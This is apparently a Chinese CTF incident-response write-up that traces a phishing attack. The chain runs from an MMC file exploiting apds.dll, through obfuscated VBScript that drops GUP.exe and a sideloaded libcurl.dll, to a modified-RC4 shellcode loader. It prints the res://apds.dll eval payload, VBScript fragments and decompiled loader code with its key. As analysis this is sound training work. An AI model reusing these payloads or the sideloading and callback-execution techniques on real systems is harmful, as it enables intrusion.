有些简单的步骤就省略了,分了上半部分和下半部分。
攻击者邮箱&被害者邮箱
起手钓鱼邮件eml和一个流量包,能看到有附件(恶意代码),先直接cat一下 发件人alice@flycode.cn * 收件人bob@flycode.cn*
攻击者所投放的文件 md5 是什么? & 攻击者所投放文件的密码是什么? 攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行? 经过初始执行后, 攻击者所加载的第二部分载荷所使用的语言是什么?
<String ID="39" Refs="1">res://apds.dll/redirect.html?target=javascript:eval(external.Document.ScopeNamespace.GetRoot()).Name</String>
res://apds.dll/redirect.html?target=javascript:eval(external.Document.ScopeNamespace.GetRoot()).Name
实际的恶意playload : res://<文件路径>/<资源类型>/<资源名称>,apds.dll就是攻击者的恶意DLL文件,/redirect.html伪装的HTML资源,实际是什么现在还不知道,有点像触发特定处理程序的标识?资源名称>资源类型>文件路径>
?target=是查询参数,target=javascript:eval(…)是用JS协议执行代码,执行链:eval(external.Document.ScopeNamespace.GetRoot()).Name
把第二部分载荷提取出来看看。如图,是VBScript。
能看到执行逻辑是解码MMC文档名-MMC节点操作-XMLDOM对象重用-恶意XSLT加载-VBScript执行-远程代码下载
攻击者所进行的第二部分载荷其将白 EXE 存在了什么地方? 攻击者所进行的第二部分载荷其将黑 DLL 存在了什么地方 & 攻击者所进行的第二部分载荷其将白 EXE 存在了什么地方? 攻击者所进行的第二部分载荷其将黑 DLL 存在了什么地方?
OMxa=Chr(Int("53"))&Chr(Int("&H31"))&Chr(&H37)&Chr(51)&Chr(52)&Chr(101)&Chr(56)&...
For i=1 to Len(OMxa) Step 4
FRURX=FRURX & ChrW(CLng("&"&Chr(72) & Mid(OMxa,i,4))
Next
Mw7U=DfAV40y.GetSpecialFolder(2) & Chr(92) & FRURX
Base64编码的字符串解码后得到类似update.exe,存储路径GetSpecialFolder(2) 对应Windows临时文件夹。
黑的代码
gwqhhV=P59b6scR2TD9 & Chr(92) & Chr(Int("71"))&Chr(85)&Chr(Int("&H50"))&Chr(Int("&H2e"))&Chr(&H65)&Chr(&H78)&Chr(1805-1704)
JJNe=P59b6scR2TD9 & Chr(92) & Chr(Int("&H6c"))&Chr(Int("&H69"))&Chr(98)&Chr(Int("&H63"))&Chr(117)&Chr(&H72)&Chr(Int("&H6c"))&Chr(&H2e)&Chr(&H64)&Chr(108)&Chr(Int("108"))
解码之后是个实际上是DLL的GUP.exe,第二个DLL路径解码后为是libcurl.dll
攻击者使用的这个白 EXE 加载黑 DLL 的手法所对应的 MITRE ATT&CK ID 是什么?
一眼白加黑,T1574。
Hijack Execution Flow Sub-techniques (12) Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
攻击者所使用的黑 DLL 劫持了原始 DLL 的哪个函数?
先提出来看看,偷懒用AI搞了个base64toexe.py了。
代码如下
import base64
import os
import re
import sys
def base64_to_exe(input_file, output_file='output.exe'):
"""
将Base64编码的文本文件转换为EXE文件
参数:
input_file (str): 包含Base64编码的文本文件路径
output_file (str): 输出的EXE文件路径(默认output.exe)
"""
try:
# 1. 读取Base64内容
with open(input_file, 'r') as f:
base64_str = f.read().strip()
# 2. 验证Base64格式
if not re.fullmatch(r'^[A-Za-z0-9+/=]+$', base64_str):
print("[错误] 文件内容不是有效的Base64编码")
return False
# 3. 解码Base64
try:
exe_data = base64.b64decode(base64_str, validate=True)
except base64.binascii.Error as e:
print(f"[解码错误] 无效的Base64内容: {str(e)}")
return False
# 4. 验证PE文件头(MZ)
if len(exe_data) < 2 or exe_data[:2] != b'MZ':
print("[警告] 解码内容不是有效的Windows可执行文件(缺少MZ头)")
# 不终止,可能某些特殊格式
# 5. 写入EXE文件
with open(output_file, 'wb') as f:
f.write(exe_data)
# 6. 验证文件大小
file_size = os.path.getsize(output_file)
print(f"成功生成EXE文件: {os.path.abspath(output_file)}")
print(f"文件大小: {file_size} 字节")
return True
except Exception as e:
print(f"[错误] 处理过程中发生异常: {str(e)}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("使用方法: python base64_to_exe.py <base64_file.txt> [output.exe]")
print("示例: python base64_to_exe.py test01.txt malware.exe")
sys.exit(1)
input_file = sys.argv[1]
output_file = sys.argv[2] if len(sys.argv) > 2 else 'output.exe'
if not os.path.exists(input_file):
print(f"[错误] 输入文件不存在: {input_file}")
sys.exit(1)
if base64_to_exe(input_file, output_file):
print("操作成功完成")
else:
print("操作失败")
sys.exit(1)
打开dll看看,重点关注curl,如图大部分函数都是dword返回,但是curleasyinit() *这里调用了一个sub_10001240()*
攻击者所使用的黑 DLL 解密下一阶段载荷所使用的算法是什么? & 攻击者所使用的黑 DLL 解密下一阶段载荷所使用的 Key 是什么?
10001240反编译一下,源码:
int __thiscall sub_10001240(_BYTE *this)
{
unsigned int v1; // kr00_4
signed int v2; // edi
int v3; // ebx
char *v4; // edx
char *v5; // ecx
signed int v6; // eax
char *v7; // esi
__m128i v8; // xmm0
__m128i v9; // xmm0
unsigned int v10; // ecx
__m128i v11; // xmm0
__m128i v12; // xmm0
__m128i v13; // xmm0
unsigned int v14; // ecx
__m128i v15; // xmm0
__m128i v16; // xmm0
__m128i v17; // xmm0
__m128i v18; // xmm0
int v19; // ecx
int v20; // esi
unsigned __int8 v21; // bl
int v22; // eax
size_t v23; // eax
int v24; // ecx
signed int v25; // edi
char *v26; // esi
unsigned __int8 v27; // cl
HDC DC; // eax
FONTENUMPROCW lpProc; // [esp+0h] [ebp-30h]
signed int Size; // [esp+8h] [ebp-28h]
int v33; // [esp+Ch] [ebp-24h]
char *v34; // [esp+10h] [ebp-20h]
int v35; // [esp+14h] [ebp-1Ch]
int v36; // [esp+18h] [ebp-18h]
char *v37; // [esp+1Ch] [ebp-14h]
int v38; // [esp+1Ch] [ebp-14h]
int v39; // [esp+20h] [ebp-10h]
int v40; // [esp+20h] [ebp-10h]
int v41; // [esp+24h] [ebp-Ch] BYREF
__int16 v42; // [esp+28h] [ebp-8h]
char v43; // [esp+2Ah] [ebp-6h]
Size = dwSize;
lpProc = (FONTENUMPROCW)VirtualAlloc(0, dwSize, 0x3000u, 0x40u);
if ( !lpProc )
exit(1);
v41 = -1952638222;
v42 = 23838;
v43 = 0;
v1 = strlen((const char *)&v41);
v2 = v1;
v3 = 8 * v1;
v35 = 8 * v1;
if ( (int)(8 * v1) >= 32 )
{
v4 = (char *)malloc(8 * v1);
v5 = v4;
v34 = v4;
v6 = 0;
v37 = v4;
if ( (unsigned int)v3 < 0x10 )
goto LABEL_10;
}
else
{
v3 = 32;
v35 = 32;
v4 = (char *)malloc(0x20u);
v34 = v4;
v37 = v4;
}
v7 = v4 + 8;
v6 = 0;
do
{
v8 = (__m128i)_mm_and_ps(
(__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v6), 0), (__m128i)xmmword_10005450),
(__m128)xmmword_10005460);
v9 = _mm_packus_epi16(v8, v8);
*((_DWORD *)v7 - 2) = _mm_cvtsi128_si32(_mm_packus_epi16(v9, v9));
v10 = v6 + 8;
v6 += 16;
v11 = (__m128i)_mm_and_ps(
(__m128)_mm_add_epi32(
_mm_shuffle_epi32(_mm_cvtsi32_si128((unsigned int)&v7[-4 - (_DWORD)v4]), 0),
(__m128i)xmmword_10005450),
(__m128)xmmword_10005460);
v12 = _mm_packus_epi16(v11, v11);
*((_DWORD *)v7 - 1) = _mm_cvtsi128_si32(_mm_packus_epi16(v12, v12));
v13 = _mm_cvtsi32_si128(v10);
v14 = (unsigned int)&v7[4 - (_DWORD)v4];
v7 += 16;
v15 = (__m128i)_mm_and_ps(
(__m128)_mm_add_epi32(_mm_shuffle_epi32(v13, 0), (__m128i)xmmword_10005450),
(__m128)xmmword_10005460);
v16 = _mm_packus_epi16(v15, v15);
*((_DWORD *)v7 - 4) = _mm_cvtsi128_si32(_mm_packus_epi16(v16, v16));
v17 = (__m128i)_mm_and_ps(
(__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v14), 0), (__m128i)xmmword_10005450),
(__m128)xmmword_10005460);
v18 = _mm_packus_epi16(v17, v17);
*((_DWORD *)v7 - 3) = _mm_cvtsi128_si32(_mm_packus_epi16(v18, v18));
}
while ( v6 < (int)(v3 & 0xFFFFFFF0) );
v3 = v35;
v2 = v1;
if ( v6 < v35 )
{
v5 = v37;
do
{
LABEL_10:
v5[v6] = v6;
++v6;
}
while ( v6 < v3 );
}
v19 = v3 - 1;
v39 = 0;
v36 = v3 - 1;
if ( v3 - 1 >= 0 )
{
v20 = v35;
v33 = 17 * v19;
do
{
v21 = v37[v19];
v22 = v33 + *((unsigned __int8 *)&v41 + v19 % v2) + v21;
v33 -= 17;
v39 = (v39 + v22) % v20;
v34[v36] = v34[v39];
v19 = v36 - 1;
v20 = v35;
v36 = v19;
v34[v39] = v21;
}
while ( v19 >= 0 );
v3 = v35;
}
v23 = Size;
v24 = 0;
v25 = 0;
v40 = 0;
if ( Size > 0 )
{
v26 = v34;
do
{
v38 = (v24 + 1) % v3;
v27 = v26[v38];
v40 = (v40 + v27 + v25) % v3;
v34[v38] = v34[v40];
v34[v40] = v27;
v3 = v35;
v26 = v34;
this[v25] ^= v34[(v27 + (unsigned __int8)v34[v38]) % v35];
v24 = v38;
if ( !(v25 % 5u) )
v34[(v25 + v38) % v35] ^= v40;
v23 = Size;
++v25;
}
while ( v25 < Size );
}
memcpy(lpProc, this, v23);
DC = GetDC(0);
return EnumFontsW(DC, 0, lpProc, 0);
是个RC4变种,和传统RC4的区别是初始化阶段加入了SIMD向量计算&密钥调度过程中加入了扰动项,又再PRGA阶段增加了额外条件扰动,密钥种子是把三个变量看作一个C字符串再strlen(&v41)得到长度。
v41 = -1952638222;
v42 = 23838;
v43 = 0;
v1 = strlen((const char *)&v41);
v414243作为字符串使用,但是实际上是用一个栈上的伪随机字节序列作为密钥,就是自定义的key用于解密。
v33 = 17 * (length - 1)
v22 = v33 + key[v19 % v2] + S[v19]
v39 = (v39 + v22) % size;
swap(S[v36], S[v39]);
RC4的(KSA,混入了额外的常数17对密钥和状态表进行混洗。
v38 = (i + 1) % size;
v40 = (v40 + S[v38] + i) % size;
swap(S[v38], S[v40]);
key_byte = S[(S[v38] + S[v40]) % size]
this[i] ^= key_byte;
RC4的PRGA加了变化,每隔5字节修改SBox内容,还有SBox长度是 32,标准RC4是256。
将v41和v42当作char变量来看,就是短的字节序列作为密钥,v41是一个 int,v42 是一个 short,加起来是6字节,对应的RC4用任意长度的 key,这个 6 字节正好可以作为 RC4的 key。得出 \x9D\x5D\x1E\x8B\x1A\xF2
攻击者所使用的下一阶段载荷的回连 C2 是什么?
有些步骤没截图……….
memcpy(lpProc, this, v23);
DC = GetDC(0);
return EnumFontsW(DC, 0, lpProc, 0);
payload已经解密存储在lpProc里面然后执行了。
然后定位一下memcpy,tab看反汇编视图然后断点call memcpy。
然后配置动态调试的参数,调试,看byte_67D880b0的内存把他dump出来,是个可执行数据,下载下来继续反编译,然后再断点调试得出192.168.57.119:6000。
没做完的后续
- 攻击者所使用最终阶段载荷所使用的加密算法是什么?
- 攻击者所使用最终阶段载荷所使用的密钥的 MD5 是什么?
- 攻击者使用了什么家族的 C2?
- 受害者主机名是什么?
- 受害者操作系统是什么版本? 以 C2 回显为准
- 控制端 ClientId 是多少?
- 受害者主机的 systemId 是多少?
- 攻击者下载的文件的保存名是什么?
- 内网运行的云服务的名称叫什么
- tomcat 的用户名和密码是多少?
- webshell 的路径?
- 攻击者上传的文件名?
- ebshell 中加密算法的密钥是什么, 若有多个, 以加密顺序用_连接
- 黑客使用 webshell 管理工具是什么?
- 被黑客窃取的云存储服务的管理员账户和密码是多少?
- 攻击者通过 webshell 上传的恶意文件是什么?
- 恶意脚本设置的计划任务叫什么?
- 挖矿程序落地的文件是什么?
- 该挖矿程序回连的矿池域名是什么?